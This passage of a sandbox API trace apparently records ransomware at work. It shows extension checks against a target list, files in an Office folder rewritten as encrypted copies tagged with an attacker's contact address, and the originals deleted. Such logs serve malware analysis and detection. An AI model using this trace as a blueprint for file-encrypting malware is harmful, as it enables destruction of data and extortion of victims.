Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0250.163] lstrlenW (lpString=".dbf") returned 4 [0250.163] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0250.163] lstrlenW (lpString=".1cd") returned 4 [0250.163] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0250.163] lstrlenW (lpString=".jpg") returned 4 [0250.163] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0250.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0250.163] lstrlenW (lpString=".doc") returned 4 [0250.163] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.163] lstrlenW (lpString=".docx") returned 5 [0250.163] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.163] lstrlenW (lpString=".pdf") returned 4 [0250.163] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.163] lstrlenW (lpString=".xls") returned 4 [0250.163] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.163] lstrlenW (lpString=".xlsx") returned 5 [0250.163] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.163] lstrlenW (lpString=".ppt") returned 4 [0250.163] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0250.163] lstrlenW (lpString=".zip") returned 4 [0250.163] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.163] lstrlenW (lpString=".rar") returned 4 [0250.163] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.163] lstrlenW (lpString=".bz2") returned 4 [0250.163] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.163] lstrlenW (lpString=".7z") returned 3 [0250.163] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0250.163] lstrlenW (lpString=".dbf") returned 4 [0250.163] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0250.163] lstrlenW (lpString=".1cd") returned 4 [0250.163] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0250.164] lstrlenW (lpString=".jpg") returned 4 [0250.164] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.164] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0250.164] lstrlenW (lpString="MSOUC_K_COL.HXK") returned 15 [0250.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.164] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=113) returned 1 [0250.164] CloseHandle (hObject=0x3b0) returned 1 [0250.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk")) returned 0x20 [0250.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.165] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.165] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.165] GetLastError () returned 0x0 [0250.165] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x71, lpOverlapped=0x0) returned 1 [0250.191] WriteFile (in: hFile=0x324, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x80, lpOverlapped=0x0) returned 1 [0250.191] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.191] WriteFile (in: hFile=0x324, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0250.192] SetEndOfFile (hFile=0x324) returned 1 [0250.192] CloseHandle (hObject=0x324) returned 1 [0250.192] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.192] SetEndOfFile (hFile=0x3b0) returned 1 [0250.194] CloseHandle (hObject=0x3b0) returned 1 [0250.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.194] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk")) returned 1 [0250.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0250.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0250.195] lstrlenW (lpString=".doc") returned 4 [0250.195] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.195] lstrlenW (lpString=".docx") returned 5 [0250.195] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.195] lstrlenW (lpString=".pdf") returned 4 [0250.195] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.195] lstrlenW (lpString=".xls") returned 4 [0250.195] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.195] lstrlenW (lpString=".xlsx") returned 5 [0250.195] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.195] lstrlenW (lpString=".ppt") returned 4 [0250.195] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0250.195] lstrlenW (lpString=".zip") returned 4 [0250.195] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.195] lstrlenW (lpString=".rar") returned 4 [0250.195] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.195] lstrlenW (lpString=".bz2") returned 4 [0250.195] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.195] lstrlenW (lpString=".7z") returned 3 [0250.195] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0250.195] lstrlenW (lpString=".dbf") returned 4 [0250.196] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0250.196] lstrlenW (lpString=".1cd") returned 4 [0250.196] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0250.196] lstrlenW (lpString=".jpg") returned 4 [0250.196] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0250.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0250.196] lstrlenW (lpString=".doc") returned 4 [0250.196] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.196] lstrlenW (lpString=".docx") returned 5 [0250.196] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.196] lstrlenW (lpString=".pdf") returned 4 [0250.196] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.196] lstrlenW (lpString=".xls") returned 4 [0250.196] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.196] lstrlenW (lpString=".xlsx") returned 5 [0250.196] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.196] lstrlenW (lpString=".ppt") returned 4 [0250.196] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0250.196] lstrlenW (lpString=".zip") returned 4 [0250.196] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.196] lstrlenW (lpString=".rar") returned 4 [0250.196] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.196] lstrlenW (lpString=".bz2") returned 4 [0250.196] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.196] lstrlenW (lpString=".7z") returned 3 [0250.196] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0250.196] lstrlenW (lpString=".dbf") returned 4 [0250.196] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0250.196] lstrlenW (lpString=".1cd") returned 4 [0250.196] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0250.197] lstrlenW (lpString=".jpg") returned 4 [0250.197] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.197] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0250.197] lstrlenW (lpString="MSPUB.DEV.HXS") returned 13 [0250.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.197] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=4750792) returned 1 [0250.197] CloseHandle (hObject=0x3b0) returned 1 [0250.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs")) returned 0x20 [0250.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.197] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0250.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0250.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0250.198] lstrlenW (lpString=".doc") returned 4 [0250.198] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0250.198] lstrlenW (lpString=".docx") returned 5 [0250.198] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0250.198] lstrlenW (lpString=".pdf") returned 4 [0250.198] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0250.198] lstrlenW (lpString=".xls") returned 4 [0250.198] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0250.198] lstrlenW (lpString=".xlsx") returned 5 [0250.198] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0250.198] lstrlenW (lpString=".ppt") returned 4 [0250.198] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0250.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0250.198] lstrlenW (lpString=".zip") returned 4 [0250.198] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0250.198] lstrlenW (lpString=".rar") returned 4 [0250.198] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0250.198] lstrlenW (lpString=".bz2") returned 4 [0250.198] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0250.198] lstrlenW (lpString=".7z") returned 3 [0250.198] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0250.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0250.198] lstrlenW (lpString=".dbf") returned 4 [0250.198] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0250.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0250.198] lstrlenW (lpString=".1cd") returned 4 [0250.199] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0250.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0250.199] lstrlenW (lpString=".jpg") returned 4 [0250.199] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0250.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0250.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0250.199] lstrlenW (lpString=".doc") returned 4 [0250.199] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0250.199] lstrlenW (lpString=".docx") returned 5 [0250.199] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0250.199] lstrlenW (lpString=".pdf") returned 4 [0250.199] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0250.199] lstrlenW (lpString=".xls") returned 4 [0250.199] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0250.199] lstrlenW (lpString=".xlsx") returned 5 [0250.199] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0250.199] lstrlenW (lpString=".ppt") returned 4 [0250.199] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0250.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0250.199] lstrlenW (lpString=".zip") returned 4 [0250.199] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0250.199] lstrlenW (lpString=".rar") returned 4 [0250.199] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0250.199] lstrlenW (lpString=".bz2") returned 4 [0250.199] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0250.199] lstrlenW (lpString=".7z") returned 3 [0250.199] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0250.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0250.199] lstrlenW (lpString=".dbf") returned 4 [0250.199] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0250.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0250.199] lstrlenW (lpString=".1cd") returned 4 [0250.199] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0250.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0250.199] lstrlenW (lpString=".jpg") returned 4 [0250.200] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0250.200] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0250.200] lstrlenW (lpString="MSPUB.DEV_COL.HXC") returned 17 [0250.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.200] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=641) returned 1 [0250.200] CloseHandle (hObject=0x3b0) returned 1 [0250.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc")) returned 0x20 [0250.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.201] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.201] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.201] GetLastError () returned 0x0 [0250.201] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x281, lpOverlapped=0x0) returned 1 [0250.211] WriteFile (in: hFile=0x324, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x290, lpOverlapped=0x0) returned 1 [0250.212] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.212] WriteFile (in: hFile=0x324, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0250.212] SetEndOfFile (hFile=0x324) returned 1 [0250.212] CloseHandle (hObject=0x324) returned 1 [0250.212] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.212] SetEndOfFile (hFile=0x3b0) returned 1 [0250.216] CloseHandle (hObject=0x3b0) returned 1 [0250.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc")) returned 1 [0250.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0250.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0250.217] lstrlenW (lpString=".doc") returned 4 [0250.217] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0250.217] lstrlenW (lpString=".docx") returned 5 [0250.217] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0250.217] lstrlenW (lpString=".pdf") returned 4 [0250.217] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0250.217] lstrlenW (lpString=".xls") returned 4 [0250.217] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0250.217] lstrlenW (lpString=".xlsx") returned 5 [0250.217] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0250.217] lstrlenW (lpString=".ppt") returned 4 [0250.217] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0250.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0250.217] lstrlenW (lpString=".zip") returned 4 [0250.217] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0250.217] lstrlenW (lpString=".rar") returned 4 [0250.217] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0250.217] lstrlenW (lpString=".bz2") returned 4 [0250.217] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0250.217] lstrlenW (lpString=".7z") returned 3 [0250.217] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0250.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0250.217] lstrlenW (lpString=".dbf") returned 4 [0250.217] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0250.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0250.217] lstrlenW (lpString=".1cd") returned 4 [0250.217] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0250.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0250.217] lstrlenW (lpString=".jpg") returned 4 [0250.217] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0250.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0250.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0250.218] lstrlenW (lpString=".doc") returned 4 [0250.218] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0250.218] lstrlenW (lpString=".docx") returned 5 [0250.218] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0250.218] lstrlenW (lpString=".pdf") returned 4 [0250.218] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0250.218] lstrlenW (lpString=".xls") returned 4 [0250.218] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0250.218] lstrlenW (lpString=".xlsx") returned 5 [0250.218] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0250.218] lstrlenW (lpString=".ppt") returned 4 [0250.218] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0250.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0250.218] lstrlenW (lpString=".zip") returned 4 [0250.218] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0250.218] lstrlenW (lpString=".rar") returned 4 [0250.218] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0250.218] lstrlenW (lpString=".bz2") returned 4 [0250.218] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0250.218] lstrlenW (lpString=".7z") returned 3 [0250.218] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0250.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0250.218] lstrlenW (lpString=".dbf") returned 4 [0250.218] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0250.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0250.218] lstrlenW (lpString=".1cd") returned 4 [0250.218] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0250.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0250.218] lstrlenW (lpString=".jpg") returned 4 [0250.218] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0250.218] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0250.218] lstrlenW (lpString="MSPUB.DEV_COL.HXT") returned 17 [0250.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.219] GetFileSizeEx (in: 